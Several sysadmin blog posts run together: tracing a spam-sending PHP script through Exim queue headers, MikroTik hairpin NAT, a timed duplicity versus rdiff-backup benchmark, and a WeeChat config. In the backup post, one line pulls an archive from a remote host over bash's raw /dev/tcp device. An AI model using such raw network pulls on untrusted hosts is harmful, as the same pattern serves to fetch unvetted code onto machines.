//check it:
console.log(Object.getOwnPropertyDescriptor(String.prototype, "foo"))  
/*
{ value: [Function],
  writable: false,
  enumerable: false,
  configurable: false }
*/

That's all for now :)

Refs:
MDN
ECMA-262 by Dmitry Soshnikov
Angus Croll

[root@mta:~]# exim -bp | grep frozen
 7h  4.7K 1YIKRV-0004za-C8 <> *** frozen ***
 7h  4.7K 1YIKCZ-00051D-Rs <> *** frozen ***
 7h  7.5K 1YIKaD-0002g3-Jp <> *** frozen ***
 6h  6.8K 1YILJi-0006U4-LC <> *** frozen ***
 6h  6.6K 1YILgM-00010l-W7 <> *** frozen ***
 6h  6.8K 1YILo8-0002aq-O9 <> *** frozen ***
 6h  8.4K 1YILo5-0002d9-GO <> *** frozen ***
 6h  8.0K 1YILrY-00035g-Ga <> *** frozen ***
 5h  9.6K 1YIM2j-0004pV-PD <> *** frozen ***

Let's find script, who generate unwanted mail. To do this, look in the mails headers:

Note: some frozen messages contain a copy of failed messages, so for X-PHP-Originating-Script header you need the body of this message, not headers. Anyway, body of spam message should be examined.

[root@sv-114:~]# exim -Mvh 1YIM2j-0004pV-PD
1YIM2j-0004pV-PD  
joe 1060 1060  
<joe@examle>  
1422921664 0  
-ident joe
-received_protocol local
-body_linecount 5
-max_received_linelength 131
-auth_id joe
-auth_sender joe@example
-allow_unqualified_recipient
-allow_unqualified_sender
-local
XX  
1  
bob@example.org

175P Received: from joe by mta.example.org with local (Exim 4.80)  
    (envelope-from <joe@example>)
    id 1YIM2j-0004pV-PD
    for bob@examle.org; Tue, 03 Feb 2015 02:01:04 +0200
025T To: bob@examle.org  
026  Subject: Contacts request  
042  X-PHP-Originating-Script: 1060:mailer.php  
028F From: robot@examle.org  
032R Reply-To: robot@examle.org  
018  MIME-Version: 1.0  
038  Content-Type: text/html;charset=utf-8  
054I Message-Id: <1YIM2j-0004pV-PD@mta.example.org>  
038  Date: Tue, 03 Feb 2015 02:01:04 +0200  

Good. Now we know id, uid, gid of user from whom script was run and script name itself - mailer.php.

Also, mail contents maybe interesting:

[root@mta:~]# exim -Mvb 1YIM2j-0004pV-PD
<html><body style='font-family:Arial,sans-serif;'><h2 style='font-weight:bold;border-bottom:1px dotted #ccc;'>Contacts request</h2>  
<p><strong>Want some spam? Contact us at woohoo@exampe.org</strong></p>  
</body></html>  

Adding X-PHP-Originating-Script header in mail headers must be enabled in php.ini (mail.addxheader option).

After malicious script was removed (or renamed for further research) frozen messages may be removed:

[root@mta ~]# exim -bpu | grep frozen | awk {'print  $3'} | xargs exim -Mrm

Thanks to: http://blog.wapnet.nl/2013/11/show-spam-script-on-linux-webserver/

Good article about hairpinning (and images located below too) from MikroTik wiki is here

In a nutshell, all requests comes through router and he can manipulate with client (2.2.2.2) and server (192.168.1.2) dst and src addresses. And in this case connection is established.

But when you try connect to 1.1.1.1 from 192.168.1.10:

Response from server goes directly from 192.168.1.2 to 192.168.1.10 and connection is dropped. Because initial connection was made to 1.1.1.1, not to 192.168.1.2.

And to fix this funny issue, we need just one srcnat (or masquerade, which maybe more easy to setup) rule:

All requests from local network to webserver that comes through router must be NAT-ed

(sure, in normal situations requests between two local hosts will go directly to each other using L2 OSI model)

In this case, router will send request to web-server from his local-network interface, and after he receives response - replace web-server src address (192.168.1.2) to 1.1.1.1 and dst address from 192.168.1.1 to 192.168.1.10

From MikroTik Wiki:

/ip firewall nat 
add chain=srcnat src-address=192.168.1.0/24 \  
dst-address=192.168.1.2 protocol=tcp dst-port=80 \  
out-interface=LAN action=masquerade  

or if you prefer WebFig:

and as action, set it to masquerade or srcnat to router local-ip:

That's all for now :)

Rdiff-backup is one of my favorite tools for backing up some local stuff. Why? Its pretty simple and store full backup 'as is'. So, backup files (main) can be easily accessed.

The main disadvantage I sow - speed. Rdiff-backup may be very slow on some files.

Duplicity is the solution?

Duplicity, as I see, is the next generation of rdiff-backup. It has some useful things, such as: encryption, many destination protocols...and much more!

Let's make a few tests now.

I'll use Docker for creating several isolated containers. Some of them will be a storage and other will be hosts with important data wich we need to backing up.

Feeling lazy? Jump to results and see who is fastest end efficient

Containers in this example:
data01 -- local node with data for rdiff-backup
data02 -- remote node with ssh server and rdiff-backup
storage01 -- local node with data for duplicity
storage02 -- remote node with ssh server (for duplicity)


Full local backup::#duplicity
Local test :

docker run -ti --hostname data01 debian:latest  

root@data01:/# apt-get update && apt-get -y upgrade && apt-get -y install duplicity  

root@data01:/# cd $(mktemp -d)  

Now, I'll copy one of my old project from production server using bash pseudo iface /dev/tcp (netcat/socat or ssh is better for real life):

root@data01:/tmp/tmp.YMFLVKqr67# tar xvzf - < /dev/tcp/test.roundside.com/5739  

root@data01:/tmp/tmp.YMFLVKqr67# du -hs;find . -type f | wc -l;find . -type d | wc -l  
512M    .  
33599  
19637  

So, this directory has 33599 files, 19637 directories and takes up 512MB of space.

root@data01:/# time duplicity --no-encryption /tmp/tmp.YMFLVKqr67/ file:///var/duplicity/

Import of duplicity.backends.giobackend Failed: No module named gio  
Local and Remote metadata are synchronized, no sync needed.  
Last full backup date: none  
No signatures found, switching to full backup.  
--------------[ Backup Statistics ]--------------  
StartTime 1417922856.64 (Sun Dec  7 03:27:36 2014)  
EndTime 1417922891.19 (Sun Dec  7 03:28:11 2014)  
ElapsedTime 34.55 (34.55 seconds)  
SourceFiles 53236  
SourceFileSize 443922301 (423 MB)  
NewFiles 53236  
NewFileSize 443922301 (423 MB)  
DeletedFiles 0  
ChangedFiles 0  
ChangedFileSize 0 (0 bytes)  
ChangedDeltaSize 0 (0 bytes)  
DeltaEntries 53236  
RawDeltaSize 362387325 (346 MB)  
TotalDestinationSizeChange 218640180 (209 MB)  
Errors 0


-------------------------------------------------

real    0m36.289s  
user    0m30.549s  
sys     0m4.578s

First local backup, time: 36 seconds.

Same test with rdiff-backup (another container):

Full local backup::#rdiff-backup

root@data02:/# time rdiff-backup /tmp/tmp.5m5JUUohRz/ /var/rdiff-backup/`

real    0m32.287s  
user    0m17.980s  
sys     0m11.658s  

Rdiff-backup, 32 seconds for initial local backup.

Remote backups

Lets make full backup to remote node (using ssh):
Full remote backup::#duplicity

Warning: duplicity 0.6.18 has a known 'bug (in result of some python library)' that produce

BackendException: ssh connection to host:22 failed: Unknown server host


This is because duplicity can't read ecdsa public key from known_hosts file.
You can disable ecdsa HostKey on server, export custom options for duplicity ssh connection (-o HostKeyAlgorithms) or (the better way) update duplicity. Debian backports repository has 0.6.24 version, that works perfectly.

root@data01:/tmp/tmp.YMFLVKqr67# time duplicity --no-encryption /tmp/tmp.YMFLVKqr67/ ssh://storage01//var/duplicity/  
Local and Remote metadata are synchronized, no sync needed.  
Last full backup date: none  
No signatures found, switching to full backup.  
--------------[ Backup Statistics ]--------------
StartTime 1418780684.21 (Wed Dec 17 01:44:44 2014)  
EndTime 1418780731.53 (Wed Dec 17 01:45:31 2014)  
ElapsedTime 47.32 (47.32 seconds)  
SourceFiles 53236  
SourceFileSize 443979645 (423 MB)  
NewFiles 53236  
NewFileSize 443979645 (423 MB)  
DeletedFiles 0  
ChangedFiles 0  
ChangedFileSize 0 (0 bytes)  
ChangedDeltaSize 0 (0 bytes)  
DeltaEntries 53236  
RawDeltaSize 362387325 (346 MB)  
TotalDestinationSizeChange 218640081 (209 MB)  
Errors 0  
-------------------------------------------------


real    0m50.069s  
user    0m38.467s  
sys     0m5.536s  

Result: 50 seconds

Note: pay attention to duplicity syntax for remote node
ssh://storage01//var/duplicity/ - meant /var/duplicity on remote node
ssh://storage01/var/duplicity/ - meant $HOME/var/duplicity on remote node

Full remote backup::#rdiff-backup

root@data02:/# time rdiff-backup /tmp/tmp.5m5JUUohRz/ root@storage02::/var/rdiff-backup/

real    0m57.252s  
user    0m7.235s  
sys     0m2.590s  

Result: 57 seconds

Note: for remote backups same version of rdiff-backup must been installed on the remote node.

Incremental backups

Now is the time for incrementsl backups:
For adding some data I'll clone node.js repo in existing local directory:
root@data01:/tmp/tmp.YMFLVKqr67# mkdir userdata;cd ./userdata;git clone https://github.com/joyent/node.git
At this time a have 43795 files, 20474 directories and 757MB of disk space.

#1 Incremental local backup::#duplicity

root@data01:/# time duplicity --no-encryption /tmp/tmp.YMFLVKqr67/ file:///var/duplicity/  
Synchronizing remote metadata to local cache...  
Copying duplicity-full-signatures.20141216T213246Z.sigtar.gz to local cache.  
Copying duplicity-full.20141216T213246Z.manifest to local cache.  
Last full backup date: Tue Dec 16 21:32:46 2014  
--------------[ Backup Statistics ]--------------
StartTime 1418785790.38 (Wed Dec 17 03:09:50 2014)  
EndTime 1418785815.03 (Wed Dec 17 03:10:15 2014)  
ElapsedTime 24.65 (24.65 seconds)  
SourceFiles 64271  
SourceFileSize 677202919 (646 MB)  
NewFiles 11036  
NewFileSize 233227370 (222 MB)  
DeletedFiles 0  
ChangedFiles 0  
ChangedFileSize 0 (0 bytes)  
ChangedDeltaSize 0 (0 bytes)  
DeltaEntries 11036  
RawDeltaSize 229606454 (219 MB)  
TotalDestinationSizeChange 144816441 (138 MB)  
Errors 0  
-------------------------------------------------


real    0m26.750s  
user    0m23.144s  
sys     0m2.867s  

Result: 27 seconds

#1 Incremental remote backup::#duplicity

root@data01:/# time duplicity --no-encryption /tmp/tmp.YMFLVKqr67/ ssh://172.17.0.10//var/duplicity/  
Local and Remote metadata are synchronized, no sync needed.  
Last full backup date: Wed Dec 17 02:05:04 2014  
--------------[ Backup Statistics ]--------------
StartTime 1418785633.50 (Wed Dec 17 03:07:13 2014)  
EndTime 1418785667.86 (Wed Dec 17 03:07:47 2014)  
ElapsedTime 34.36 (34.36 seconds)  
SourceFiles 64271  
SourceFileSize 677202919 (646 MB)  
NewFiles 11036  
NewFileSize 233227370 (222 MB)  
DeletedFiles 0  
ChangedFiles 0  
ChangedFileSize 0 (0 bytes)  
ChangedDeltaSize 0 (0 bytes)  
DeltaEntries 11036  
RawDeltaSize 229606454 (219 MB)  
TotalDestinationSizeChange 144816441 (138 MB)  
Errors 0  
-------------------------------------------------


real    0m35.889s  
user    0m30.717s  
sys     0m3.750s

Result: 36 seconds

#1 Incremental local backup::#rdiff-backup

root@data02:/# time rdiff-backup /tmp/tmp.5m5JUUohRz/ /var/rdiff-backup/

real    3m54.791s  
user    0m22.843s  
sys     0m6.806s

Result: 3 minutes and 55 seconds

#1 Incremental remote backup::#rdiff-backup

root@data02:/# time rdiff-backup /tmp/tmp.5m5JUUohRz/ root@storage02::/var/rdiff-backup/

real    4m14.100s  
user    0m16.245s  
sys     0m2.813s  

Result: 4 minutes and 14 seconds

Another backup, now some data was removed:

root@data01:/tmp/tmp.YMFLVKqr67# rm -rf ./addons

Local data has: 42653 files, 20030 directories and 731MB of space

#2 Incremental local backup::#duplicity

root@data01:/# time duplicity --no-encryption /tmp/tmp.YMFLVKqr67/ file:///var/duplicity/  
Local and Remote metadata are synchronized, no sync needed.  
Last full backup date: Tue Dec 16 21:32:46 2014  
--------------[ Backup Statistics ]--------------
StartTime 1418837027.28 (Wed Dec 17 17:23:47 2014)  
EndTime 1418837041.33 (Wed Dec 17 17:24:01 2014)  
ElapsedTime 14.06 (14.06 seconds)  
SourceFiles 62686  
SourceFileSize 652525867 (622 MB)  
NewFiles 2  
NewFileSize 8192 (8.00 KB)  
DeletedFiles 1585  
ChangedFiles 1  
ChangedFileSize 649680 (634 KB)  
ChangedDeltaSize 0 (0 bytes)  
DeltaEntries 1588  
RawDeltaSize 649808 (635 KB)  
TotalDestinationSizeChange 241702 (236 KB)  
Errors 0  
-------------------------------------------------


real    0m14.372s  
user    0m11.946s  
sys     0m2.208s

Result: 14 seconds

#2 Incremental remote backup::#duplicity

root@data01:/# time duplicity --no-encryption /tmp/tmp.YMFLVKqr67/ ssh://storage01//var/duplicity/  
Synchronizing remote metadata to local cache...  
Copying duplicity-inc.20141217T020504Z.to.20141217T030713Z.manifest to local cache.  
Copying duplicity-new-signatures.20141217T020504Z.to.20141217T030713Z.sigtar.gz to local cache.  
Last full backup date: Wed Dec 17 02:05:04 2014  
--------------[ Backup Statistics ]--------------
StartTime 1418837112.75 (Wed Dec 17 17:25:12 2014)  
EndTime 1418837127.06 (Wed Dec 17 17:25:27 2014)  
ElapsedTime 14.31 (14.31 seconds)  
SourceFiles 62686  
SourceFileSize 652525867 (622 MB)  
NewFiles 2  
NewFileSize 8192 (8.00 KB)  
DeletedFiles 1585  
ChangedFiles 1  
ChangedFileSize 649680 (634 KB)  
ChangedDeltaSize 0 (0 bytes)  
DeltaEntries 1588  
RawDeltaSize 649808 (635 KB)  
TotalDestinationSizeChange 241702 (236 KB)  
Errors 0  
-------------------------------------------------


real    0m15.151s  
user    0m12.485s  
sys     0m2.359s  

Result: 15 seconds

#2 Incremental local backup::#rdiff-backup

root@data02:/# time rdiff-backup /tmp/tmp.5m5JUUohRz/ /var/rdiff-backup/

real    0m57.376s  
user    0m15.506s  
sys     0m2.582s

Result: 57 seconds

#2 Incremental remote backup::#rdiff-backup

root@data02:/# time rdiff-backup /tmp/tmp.5m5JUUohRz/ root@storage02::/var/rdiff-backup/

real    0m54.370s  
user    0m3.627s  
sys     0m2.042s  

Result: 54 seconds

And the last incremental backup, now - adding two .iso files (23MB each).
As result: 42655 files, 20030 directories and 777MB of space.

#3 Incremental local backup::#duplicity

root@data01:/# time duplicity --no-encryption /tmp/tmp.YMFLVKqr67/ file:///var/duplicity/  
Local and Remote metadata are synchronized, no sync needed.  
Last full backup date: Tue Dec 16 21:32:46 2014  
--------------[ Backup Statistics ]--------------
StartTime 1418839612.96 (Wed Dec 17 18:06:52 2014)  
EndTime 1418839628.26 (Wed Dec 17 18:07:08 2014)  
ElapsedTime 15.31 (15.31 seconds)  
SourceFiles 62687  
SourceFileSize 700756267 (668 MB)  
NewFiles 4  
NewFileSize 48242688 (46.0 MB)  
DeletedFiles 1  
ChangedFiles 0  
ChangedFileSize 0 (0 bytes)  
ChangedDeltaSize 0 (0 bytes)  
DeltaEntries 5  
RawDeltaSize 48234496 (46.0 MB)  
TotalDestinationSizeChange 29748287 (28.4 MB)  
Errors 0  
-------------------------------------------------


real    0m15.509s  
user    0m13.164s  
sys     0m2.239s  

Result: 16 seconds

#3 Incremental remote backup::#duplicity

root@data01:/# time duplicity --no-encryption /tmp/tmp.YMFLVKqr67/ ssh://storage01//var/duplicity/  
Local and Remote metadata are synchronized, no sync needed.  
Last full backup date: Wed Dec 17 02:05:04 2014  
--------------[ Backup Statistics ]--------------
StartTime 1418839573.08 (Wed Dec 17 18:06:13 2014)  
EndTime 1418839595.15 (Wed Dec 17 18:06:35 2014)  
ElapsedTime 22.07 (22.07 seconds)  
SourceFiles 62687  
SourceFileSize 700756267 (668 MB)  
NewFiles 4  
NewFileSize 48242688 (46.0 MB)  
DeletedFiles 1  
ChangedFiles 0  
ChangedFileSize 0 (0 bytes)  
ChangedDeltaSize 0 (0 bytes)  
DeltaEntries 5  
RawDeltaSize 48234496 (46.0 MB)  
TotalDestinationSizeChange 29748287 (28.4 MB)  
Errors 0  
-------------------------------------------------


real    0m22.801s  
user    0m19.203s  
sys     0m3.067s  

Result: 23 seconds

#3 Incremental local backup::#rdiff-backup

root@data02:/# time rdiff-backup /tmp/tmp.5m5JUUohRz/ /var/rdiff-backup/

real    0m16.580s  
user    0m13.669s  
sys     0m1.922s  

Result: 16 seconds

#3 Incremental remote backup::#rdiff-backup

root@data02:/# time rdiff-backup /tmp/tmp.5m5JUUohRz/ root@storage02::/var/rdiff-backup/

real    0m21.882s  
user    0m5.306s  
sys     0m1.998s  

Result: 22 seconds

Restoring

Time to recover our data.
Oops: root@data02:/tmp/tmp.5m5JUUohRz# rm -rf ./* (I'll do this after each recover)

Full restore from local backup::#rdiff-backup

root@data02:/# time rdiff-backup --restore-as-of now /var/rdiff-backup/ /tmp/tmp.5m5JUUohRz/

real    0m57.613s  
user    0m14.083s  
sys     0m14.696s  

Result: 58 seconds

Full restore from remote backup::#rdiff-backup

root@data02:/# time rdiff-backup --restore-as-of now root@storage02::/var/rdiff-backup/ /tmp/tmp.5m5JUUohRz/

real    1m34.002s  
user    0m11.524s  
sys     0m6.837s  

Result: 1 minute and 34 seconds

Full restore from local backup::#duplicity

root@data01:/tmp/tmp.YMFLVKqr67# time duplicity --no-encryption file:///var/duplicity/ /tmp/tmp.YMFLVKqr67/  
Local and Remote metadata are synchronized, no sync needed.  
Last full backup date: Tue Dec 16 21:32:46 2014

real    0m35.601s  
user    0m21.941s  
sys     0m8.692s  

Result: 36 seconds

Full restore from remote backup::#duplicity

root@data01:/# time duplicity --no-encryption ssh://storage01//var/duplicity/ /tmp/tmp.YMFLVKqr67/  
Local and Remote metadata are synchronized, no sync needed.  
Last full backup date: Wed Dec 17 02:05:04 2014

real    0m45.229s  
user    0m35.745s  
sys     0m9.431s  

Result: 45 seconds

Restoring to specific time:

Restore from specific local backup::#rdiff-backup

root@data02:/# time rdiff-backup --restore-as-of 2014-12-17T17:34:04Z /var/rdiff-backup/ /tmp/tmp.5m5JUUohRz/

real    0m31.792s  
user    0m15.487s  
sys     0m11.008s  

Result: 32 seconds

Restore from specific remote backup::#rdiff-backup

root@data02:/# time rdiff-backup --restore-as-of 2014-12-17T17:38:01Z storage02::/var/rdiff-backup/ /tmp/tmp.5m5JUUohRz/

real    1m30.043s  
user    0m11.345s  
sys     0m6.923s  

Result: 1 minute and 30 seconds

Restore from specific local backup::#duplicity

root@data01:/# time duplicity --no-encryption -t 2014-12-17T17:23:47Z file:///var/duplicity/ /tmp/tmp.YMFLVKqr67/  
Local and Remote metadata are synchronized, no sync needed.  
Last full backup date: Tue Dec 16 21:32:46 2014

real    0m25.768s  
user    0m17.950s  
sys     0m6.917s  

Result: 26 seconds

Restore from specific remote backup::#duplicity

root@data01:/# time duplicity --no-encryption -t 2014-12-17T17:25:12Z ssh://storage01//var/duplicity/ /tmp/tmp.YMFLVKqr67/  
Local and Remote metadata are synchronized, no sync needed.  
Last full backup date: Wed Dec 17 02:05:04 2014

real    0m46.186s  
user    0m38.004s  
sys     0m10.209s  

Result: 46 seconds

Results and conclusion

I think this is enough. I've been made many tests, starting from 33599 files, 19637 directories and 512MB of space to 42653 files, 20030 directories and 731MB of space.

This chart shows how long Rdiff-backup and Duplicity backup process was (lower is better)

As you see, rdiff-backup is extremely slow in incremental back-up with many files and in restoring data. But a little bit faster in initial local backup.

But rdiff-backup has another disadvantage - occupied space
All duplicity backup data takes about 387MB, when the same backup in rdiff-backup - 880MB.
So rdiff-backup occupies 127% more space than duplicity.
The reason for this - duplicity store all data in compressed files called volumes. This can save a lot of space on disk.
But this gup is narrowing when you remove some data from local storage, in this case rdiff-backup will compress the difference and move this files into compressed snapshot.
While all data in duplicity backup are compressed already, and may be difficult access duplicity backup as usual files (which is easy in rdiff-backup), but I think is is a rare exception :)

Comparison of used space (Rdiff-backup and Duplicity, MB)

That's all folks.

Links:
Duplicity
Rdiff-backup
Chartist-js

Keys:

• F11:F12 - scroll user list up/down
• F9:F10 - scroll top bar left/right
• /CL - clear screen
• /save - save modifications to config files

Connection to freenode (just for example) is pretty easy:

/connect irc.freenode.net
/msg NickServIdentify password

to register:

msg nickserv register  

Below is my simple weechat config (~/.weechat/weechat.conf):

#
# weechat.conf -- weechat v0.4.3
#

[debug]

[startup]
command_after_plugins = ""  
command_before_plugins = ""  
display_logo = on  
display_version = on  
sys_rlimit = ""

[look]
align_end_of_lines = message  
bar_more_down = "▼"  
bar_more_left = "◀"  
bar_more_right = "▶"  
bar_more_up = "▲"  
buffer_auto_renumber = on  
buffer_notify_default = all  
buffer_position = end  
buffer_search_case_sensitive = off  
buffer_search_force_default = off  
buffer_search_regex = off  
buffer_search_where = message  
buffer_time_format = "%H:%M:%S"  
color_basic_force_bold = off  
color_inactive_buffer = on  
color_inactive_message = on  
color_inactive_prefix = on  
color_inactive_prefix_buffer = on  
color_inactive_time = off  
color_inactive_window = on  
color_nick_offline = on  
color_pairs_auto_reset = 5  
color_real_white = off  
command_chars = ""  
confirm_quit = off  
day_change = on  
day_change_message_1date = "▬▬▶ %a, %d %b %Y ◀▬▬"  
day_change_message_2dates = "▬▬▶ %%a, %%d %%b %%Y (%a, %d %b %Y) ◀▬▬"  
eat_newline_glitch = off  
emphasized_attributes = ""  
highlight = ""  
highlight_regex = ""  
highlight_tags = ""  
hotlist_add_buffer_if_away = on  
hotlist_buffer_separator = ", "  
hotlist_count_max = 2  
hotlist_count_min_msg = 2  
hotlist_names_count = 3  
hotlist_names_length = 0  
hotlist_names_level = 12  
hotlist_names_merged_buffers = off  
hotlist_prefix = "H: "  
hotlist_short_names = on  
hotlist_sort = group_time_asc  
hotlist_suffix = ""  
hotlist_unique_numbers = on  
input_cursor_scroll = 20  
input_share = none  
input_share_overwrite = off  
input_undo_max = 32  
item_buffer_filter = "•"  
item_buffer_zoom = "!"  
item_time_format = "%H:%M"  
jump_current_to_previous_buffer = on  
jump_previous_buffer_when_closing = on  
jump_smart_back_to_buffer = on  
key_bind_safe = on  
mouse = off  
mouse_timer_delay = 100  
nick_prefix = ""  
nick_suffix = ""  
paste_bracketed = on  
paste_bracketed_timer_delay = 10  
paste_max_lines = 1  
prefix_action = " *"  
prefix_align = right  
prefix_align_max = 0  
prefix_align_min = 0  
prefix_align_more = "+"  
prefix_align_more_after = on  
prefix_buffer_align = right  
prefix_buffer_align_max = 0  
prefix_buffer_align_more = "+"  
prefix_buffer_align_more_after = on  
prefix_error = "=!="  
prefix_join = "▬▬▶"  
prefix_network = "--"  
prefix_quit = "◀▬▬"  
prefix_same_nick = ""  
prefix_suffix = "|"  
read_marker = line  
read_marker_always_show = off  
read_marker_string = "─"  
save_config_on_exit = on  
save_layout_on_exit = none  
scroll_amount = 3  
scroll_bottom_after_switch = off  
scroll_page_percent = 100  
search_text_not_found_alert = on  
separator_horizontal = "="  
separator_vertical = ""  
tab_width = 1  
time_format = "%a, %d %b %Y %T"  
window_auto_zoom = off  
window_separator_horizontal = on  
window_separator_vertical = on  
window_title = "WeeChat ${info:version}"

[palette]

[color]
bar_more = blue  
chat = default  
chat_bg = default  
chat_buffer = white  
chat_channel = white  
chat_day_change = cyan  
chat_delimiters = default  
chat_highlight = black  
chat_highlight_bg = brown  
chat_host = cyan  
chat_inactive_buffer = default  
chat_inactive_window = default  
chat_nick = default  
chat_nick_colors = "brown,cyan,lightred,lightgreen,yellow,lightblue,lightmagenta,lightcyan"  
chat_nick_offline = default  
chat_nick_offline_highlight = default  
chat_nick_offline_highlight_bg = default  
chat_nick_other = cyan  
chat_nick_prefix = green  
chat_nick_self = cyan  
chat_nick_suffix = green  
chat_prefix_action = white  
chat_prefix_buffer = brown  
chat_prefix_buffer_inactive_buffer = default  
chat_prefix_error = yellow  
chat_prefix_join = darkgray  
chat_prefix_more = default  
chat_prefix_network = default  
chat_prefix_quit = darkgray  
chat_prefix_suffix = default  
chat_read_marker = 31  
chat_read_marker_bg = default  
chat_server = brown  
chat_tags = red  
chat_text_found = yellow  
chat_text_found_bg = lightmagenta  
chat_time = darkgray  
chat_time_delimiters = darkgray  
chat_value = cyan  
emphasized = yellow  
emphasized_bg = magenta  
input_actions = lightgreen  
input_text_not_found = red  
nicklist_away = default  
nicklist_group = green  
nicklist_offline = default  
separator = 6  
status_count_highlight = magenta  
status_count_msg = brown  
status_count_other = default  
status_count_private = green  
status_data_highlight = 163  
status_data_msg = yellow  
status_data_other = default  
status_data_private = lightgreen  
status_filter = green  
status_more = yellow  
status_name = white  
status_name_ssl = lightgreen  
status_number = yellow  
status_time = default

[completion]
base_word_until_cursor = on  
default_template = "%(nicks)|%(irc_channels)"  
nick_add_space = on  
nick_completer = ":"  
nick_first_only = off  
nick_ignore_chars = "[]`_-^"  
partial_completion_alert = on  
partial_completion_command = off  
partial_completion_command_arg = off  
partial_completion_count = on  
partial_completion_other = off

[history]
display_default = 5  
max_buffer_lines_minutes = 0  
max_buffer_lines_number = 4096  
max_commands = 100  
max_visited_buffers = 50

[proxy]

[network]
connection_timeout = 60  
gnutls_ca_file = "/etc/ssl/certs/ca-certificates.crt"  
gnutls_handshake_timeout = 30  
proxy_curl = ""

[plugin]
autoload = "*"  
debug = off  
extension = ".so,.dll"  
path = "%h/plugins"  
save_config_on_unload = on

[bar]
input.color_bg = default  
input.color_delim = cyan  
input.color_fg = default  
input.conditions = ""  
input.filling_left_right = vertical  
input.filling_top_bottom = horizontal  
input.hidden = off  
input.items = "[input_prompt]+(away),[input_search],[input_paste],input_text"  
input.position = bottom  
input.priority = 1000  
input.separator = off  
input.size = 1  
input.size_max = 0  
input.type = window  
nicklist.color_bg = default  
nicklist.color_delim = cyan  
nicklist.color_fg = default  
nicklist.conditions = "${nicklist}"  
nicklist.filling_left_right = vertical  
nicklist.filling_top_bottom = columns_vertical  
nicklist.hidden = off  
nicklist.items = "buffer_nicklist"  
nicklist.position = right  
nicklist.priority = 200  
nicklist.separator = on  
nicklist.size = 0  
nicklist.size_max = 0  
nicklist.type = window  
status.color_bg = 60  
status.color_delim = cyan  
status.color_fg = default  
status.conditions = ""  
status.filling_left_right = vertical  
status.filling_top_bottom = horizontal  
status.hidden = off  
status.items = "[time],[buffer_count],[buffer_plugin],buffer_number+:+buffer_name+(buffer_modes)+{buffer_nicklist_count}+buffer_zoom+buffer_filter,[lag],[hotlist],completion,scroll"  
status.position = bottom  
status.priority = 500  
status.separator = off  
status.size = 1  
status.size_max = 0  
status.type = window  
title.color_bg = darkgray  
title.color_delim = cyan  
title.color_fg = default  
title.conditions = ""  
title.filling_left_right = vertical  
title.filling_top_bottom = horizontal  
title.hidden = off  
title.items = "buffer_title"  
title.position = top  
title.priority = 500  
title.separator = off  
title.size = 1  
title.size_max = 0  
title.type = window

[layout]

[notify]

[filter]

[key]
ctrl-? = "/input delete_previous_char"  
ctrl-A = "/input move_beginning_of_line"  
ctrl-B = "/input move_previous_char"  
ctrl-C_ = "/input insert \x1F"  
ctrl-Cb = "/input insert \x02"  
ctrl-Cc = "/input insert \x03"  
ctrl-Ci = "/input insert \x1D"  
ctrl-Co = "/input insert \x0F"  
ctrl-Cv = "/input insert \x16"  
ctrl-D = "/input delete_next_char"  
ctrl-E = "/input move_end_of_line"  
ctrl-F = "/input move_next_char"  
ctrl-H = "/input delete_previous_char"  
ctrl-I = "/input complete_next"  
ctrl-J = "/input return"  
ctrl-K = "/input delete_end_of_line"  
ctrl-L = "/window refresh"  
ctrl-M = "/input return"  
ctrl-N = "/buffer +1"  
ctrl-P = "/buffer -1"  
ctrl-R = "/input search_text"  
ctrl-Sctrl-U = "/input set_unread"  
ctrl-T = "/input transpose_chars"  
ctrl-U = "/input delete_beginning_of_line"  
ctrl-W = "/input delete_previous_word"  
ctrl-X = "/input switch_active_buffer"  
ctrl-Y = "/input clipboard_paste"  
meta-meta2-1~ = "/window scroll_top"  
meta-meta2-23~ = "/bar scroll nicklist * b"  
meta-meta2-24~ = "/bar scroll nicklist * e"  
meta-meta2-4~ = "/window scroll_bottom"  
meta-meta2-5~ = "/window scroll_up"  
meta-meta2-6~ = "/window scroll_down"  
meta-meta2-7~ = "/window scroll_top"  
meta-meta2-8~ = "/window scroll_bottom"  
meta-meta2-A = "/buffer -1"  
meta-meta2-B = "/buffer +1"  
meta-meta2-C = "/buffer +1"  
meta-meta2-D = "/buffer -1"  
meta-/ = "/input jump_last_buffer_displayed"  
meta-0 = "/buffer *10"  
meta-1 = "/buffer *1"  
meta-2 = "/buffer *2"  
meta-3 = "/buffer *3"  
meta-4 = "/buffer *4"  
meta-5 = "/buffer *5"  
meta-6 = "/buffer *6"  
meta-7 = "/buffer *7"  
meta-8 = "/buffer *8"  
meta-9 = "/buffer *9"  
meta-< = "/input jump_previously_visited_buffer"  
meta-= = "/filter toggle"  
meta-> = "/input jump_next_visited_buffer"  
meta-OA = "/input history_global_previous"  
meta-OB = "/input history_global_next"  
meta-OC = "/input move_next_word"  
meta-OD = "/input move_previous_word"  
meta-OF = "/input move_end_of_line"  
meta-OH = "/input move_beginning_of_line"  
meta-Oa = "/input history_global_previous"  
meta-Ob = "/input history_global_next"  
meta-Oc = "/input move_next_word"  
meta-Od = "/input move_previous_word"  
meta2-15~ = "/buffer -1"  
meta2-17~ = "/buffer +1"  
meta2-18~ = "/window -1"  
meta2-19~ = "/window +1"  
meta2-1;3A = "/buffer -1"  
meta2-1;3B = "/buffer +1"  
meta2-1;3C = "/buffer +1"  
meta2-1;3D = "/buffer -1"  
meta2-1;3F = "/window scroll_bottom"  
meta2-1;3H = "/window scroll_top"  
meta2-1;5A = "/input history_global_previous"  
meta2-1;5B = "/input history_global_next"  
meta2-1;5C = "/input move_next_word"  
meta2-1;5D = "/input move_previous_word"  
meta2-1~ = "/input move_beginning_of_line"  
meta2-200~ = "/input paste_start"  
meta2-201~ = "/input paste_stop"  
meta2-20~ = "/bar scroll title * -30%"  
meta2-21~ = "/bar scroll title * +30%"  
meta2-23;3~ = "/bar scroll nicklist * b"  
meta2-23~ = "/bar scroll nicklist * -100%"  
meta2-24;3~ = "/bar scroll nicklist * e"  
meta2-24~ = "/bar scroll nicklist * +100%"  
meta2-3~ = "/input delete_next_char"  
meta2-4~ = "/input move_end_of_line"  
meta2-5;3~ = "/window scroll_up"  
meta2-5~ = "/window page_up"  
meta2-6;3~ = "/window scroll_down"  
meta2-6~ = "/window page_down"  
meta2-7~ = "/input move_beginning_of_line"  
meta2-8~ = "/input move_end_of_line"  
meta2-A = "/input history_previous"  
meta2-B = "/input history_next"  
meta2-C = "/input move_next_char"  
meta2-D = "/input move_previous_char"  
meta2-F = "/input move_end_of_line"  
meta2-G = "/window page_down"  
meta2-H = "/input move_beginning_of_line"  
meta2-I = "/window page_up"  
meta2-Z = "/input complete_previous"  
meta2-[E = "/buffer -1"  
meta-_ = "/input redo"  
